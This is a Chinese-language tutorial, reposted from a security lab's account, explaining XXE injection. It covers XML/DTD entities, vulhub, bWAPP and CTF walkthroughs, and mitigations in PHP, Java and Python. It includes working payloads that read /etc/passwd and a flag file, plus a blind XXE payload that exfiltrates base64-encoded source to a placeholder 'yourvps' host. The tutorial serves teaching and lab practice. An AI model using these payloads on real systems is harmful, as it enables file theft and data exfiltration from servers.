深入浅出-XXE漏洞

本文作者:可乐(Ms08067实验室Web小组成员)

前言

写这篇的主要目的是因为很多CTFer还有一些安全人员不是很清楚xxe漏洞,还有在面试当中,xxe漏洞也经常被问到,所以就写这么一篇文章来学习xxe漏洞. 本篇会结合一些靶场还有CTF来进行讲解

基础

首先来介绍一下XML和DTD

XML被设计用来传输和存储数据,这里提一下xml与html的区别:HTML 旨在显示信息,而 XML 旨在传输信息

而DTD定义 XML 文档的合法构建模块,它使用一系列的合法元素来定义文档结构,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

XML和DTD基础

一个 XML 文档实例:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
```

第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。 接下来加上DTD进行声明 **内部的 DOCTYPE 声明**

<?xml version="1.0"?>
<!DOCTYPE note [          //定义此文档是 note 类型的文档。
  <!ELEMENT note (to,from,heading,body)> //定义 note 元素有四个元素:"to、from、heading,、body"
  <!ELEMENT to      (#PCDATA)>  //定义 to 元素为 "#PCDATA" 类型
  <!ELEMENT from    (#PCDATA)>   //定义 from 元素为 "#PCDATA" 类型
  <!ELEMENT heading (#PCDATA)>  // heading 元素为 "#PCDATA" 类型
  <!ELEMENT body    (#PCDATA)>  //定义 body 元素为 "#PCDATA" 类型
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

**DTD元素** 在一个 DTD 中,元素通过元素声明来进行声明。 声明一个元素 在 DTD 中,XML 元素通过元素声明来进行声明。元素声明使用下面的语法: 只有 PCDATA 的元素 只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明: <!ELEMENT 元素名称 (#PCDATA)> 例子:

``<!ELEMENT from (#PCDATA)>``

带有任何内容的元素 通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合: <!ELEMENT 元素名称 ANY> 例子:

``<!ELEMENT note ANY>``

带有子元素(序列)的元素 带有一个或多个子元素的元素通过圆括号中的子元素名进行声明: <!ELEMENT 元素名称 (子元素名称 1)> 或者 <!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)> 例子: ``<!ELEMENT note (to,from,heading,body)>`` 声明只出现一次的元素 <!ELEMENT 元素名称 (子元素名称)> 例子:

``<!ELEMENT note (message)>``

上面的例子声明了:message子元素必须出现一次,并且必须只在 "note"元素中出现一次。

**外部文档声明**
<!DOCTYPE 根元素 SYSTEM "文件名">
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
```

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD 这是包含 DTD 的 "note.dtd" 文件: <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>

DTD实体声明

重点介绍实体声明

**内部实体声明**
``<!ENTITY 实体名称 "实体的值">``
DTD 例子:
<!ENTITY writer "Bill Gates">
将writer 声明为”Bill Gates”,copyright 声明为 “Copyright W3School.com.cn”
XML 例子:
``<author>&writer;&copyright;</author>``
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
<!DOCTYPE foo [
    <!ENTITY xxe  "sec test" >
]>
<root>
    <name>&xxe;</name>
</root>
**外部实体声明**
外部实体引用支持通过协议,来动态的获取值
``<!ENTITY 实体名称 SYSTEM "URI/URL">``
例子:
DTD 例子:
```
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
```
XML 例子:
``<author>&writer;&copyright;</author>``
可以通过``file://``协议来读取文件内容
```
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
    <name>&xxe;</name>
</root>
```

不同语言支持的协议不同

**参数实体**

<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">

参数实体只能在DTD中申明,DTD中引用,它们使用百分号(%)而不是与字符(&),可以是命名实体或外部实体。,能够解析实体或者uri,进行xml解析,进而获得其中的变量 注:一般用于Bline XXE

```
<!ENTITY % style "2333">
<!ENTITY % test "%style">
```
**公共实体声明**
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

XXE漏洞

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件 如果xml能够被解析,比如输入

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is nMask">]>
<root>&name;</root>
```

如果页面输出了my name is nMask,说明xml文件可以被解析。 接下来测试是否支持DTD引用外部实体而导致xxe注入 ``` <?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE ANY [ <!ENTITY % name SYSTEM "http://localhost/index.html"> %name; ]> ``` 可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求index.html的请求。 接下里安装漏洞环境 本人在centos下,安装docker后 git clone https://github.com/vulhub/vulhub.git 进入/vulhub/vulhub/tree/master/php/php_xxe 输入`pip install docker-compose`即可 环境启动后,访问http://your-ip:8080/index.php即可看到phpinfo www目录包含四个文件

```
├── dom.php # 示例:使用DOMDocument解析body
├── index.php #phpinfo()
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
````
SimpleXMLElement.php
```
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);  //解析xml
echo $xml->name;
```
dom.php
```
<?php
$data = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);
print_r($dom);
```
simplexml_load_string.php
```
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
```
首先测试是否能够解析xml
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<root>
<name>&writer;&copyright;</name>
</root>

**内部实体**

**外部实体**
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
**参数实体**
当没有回显即没有这个语句的时候``echo $xml->name;``该怎么办呢
这个时候我们可以利用参数实体,通过发起http请求来攻击。

先进行参数实体声明看看~
在远程服务器新建xxe.dtd文件,内容为:
<!ENTITY evil SYSTEM "file:///etc/passwd" >
xml内容为
<!DOCTYPE foo [
    <!ENTITY  % xxe SYSTEM "http://ip/xxe.dtd" >
    %xxe;
]>
<root>
    <name>&evil;</name>
</root>
相当于:
<!DOCTYPE foo [
    <!ENTITY  % xxe "<!ENTITY evil SYSTEM 'file:///etc/passwd'>" >
    %xxe;
]>
<root>
    <name>&evil;</name>
</root>

如果目标服务器没有回显,就只能用 Blind XXE 了。原理就是带着获取的文件源码以 get 参数或其他形式去访问我们的服务器,然后在日志里就可以找到我们要获取的内容了。 先在我的服务器建一个xxe.xml文件,内容为:

```
<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">
```

接下来读取内容,我们提交

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>
```

整个的调用过程如下:解析时%dtd引入xxe.xml,之后%all引入send的定义,最后引用了实体send,把%file文件内容通过一个http请求发了出去。注意需要把payload经过url编码。 然后在服务器的log中看到base64加密后的内容(/var/log/httpd/access.log)

使用bWapp学习

环境搭建: vulstudy是专门收集当下流行的漏洞学习平台,现在用它来一键搭建bWapp 下载vulstudy项目 git clone https://github.com/c0ny1/vulstudy.git cd vulstudy/bWapp docker-compose up -d #启动容器 注:第一次创建应事先访问/install.php来创建数据库 安装好之后,Choose your bug 选择 XML External Entity Attacks (XXE) 先抓包

xxe-1.php页面在向xxe-2.php页面传输数据过程中,其中的xml数据是可控的,也就是说可以构造恶意数据进行传输,添加一个外部实体在XML数据中进行实体调用,从而进行XXE攻击。

CTF

http://web.jarvisoj.com:9882/ 获得目标机器/home/ctf/flag.txt中的flag值。 将Content-Type的值改为application/xml,然后提交xml发现能够被解析

于是修改payload为:

<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt" >
]>
<root>
    <name>&xxe;</name>
</root>

防御

禁用外部实体 php libxml_disable_entity_loader(true);

java DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); python from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

参考

https://blog.csdn.net/com_ma/article/details/73277535 https://github.com/c0ny1/xxe-lab https://www.freebuf.com/articles/web/126788.html https://www.freebuf.com/column/188849.html https://www.ibm.com/developerworks/cn/xml/x-entities/

来源:Ms08067安全实验室

本文分享自微信公众号 - Ms08067安全实验室(Ms08067_com)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-05-24

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏陶士涵的菜地

[android] 界面切换的简单动画

13630
来自专栏陶士涵的菜地

[javaEE] tomcat内部连接池

在程序中获取数据源,通过jndi,这个jndi必须在Servlet中才能获取,并且需要配置web.xml使servlet一启动就拿到数据源

8520
来自专栏陶士涵的菜地

[android] 练习PopupWindow实现对话框

9130
来自专栏陶士涵的菜地

[android] 安卓自定义样式和主题

简单练习自定义样式和主题,样式是加在View上,主题是加在Application或者Activity上

19620
来自专栏陶士涵的菜地

[javaEE] http协议详细

上一篇:http://www.cnblogs.com/taoshihan/p/5346731.html

9330
来自专栏大道七哥

Java日志框架:logback详解

记得前几年工作的时候,公司使用的日志框架还是log4j,大约从16年中到现在,不管是我参与的别人已经搭建好的项目还是我自己主导的项目,日志框架基本都换成了log...

14120
来自专栏陶士涵的菜地

[javaEE] 三层架构案例-用户模块(一)

dom4j提供的方法,可以在xml文件中查找指定的节点,类似正则在文本文件中查找指定文本

9620
来自专栏陶士涵的菜地

[android] android通信协议

4.2简单代码处理:时间戳(SimpleDateFormat)+随机值(Random)

10820
来自专栏Java工程师成长之路

对spring web启动时IOC源码研究

这代表了web容器启动的时候会首先进入ContextLoaderListener这个类,并且之后会去加载classpath下的applicationContex...

9020
来自专栏陶士涵的菜地

[android] 练习样式主题自定义activity切换动画

主要练习了自定义样式和主题,继承android系统默认的样式并修改,练习xml定义淡入淡出动画

8520

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励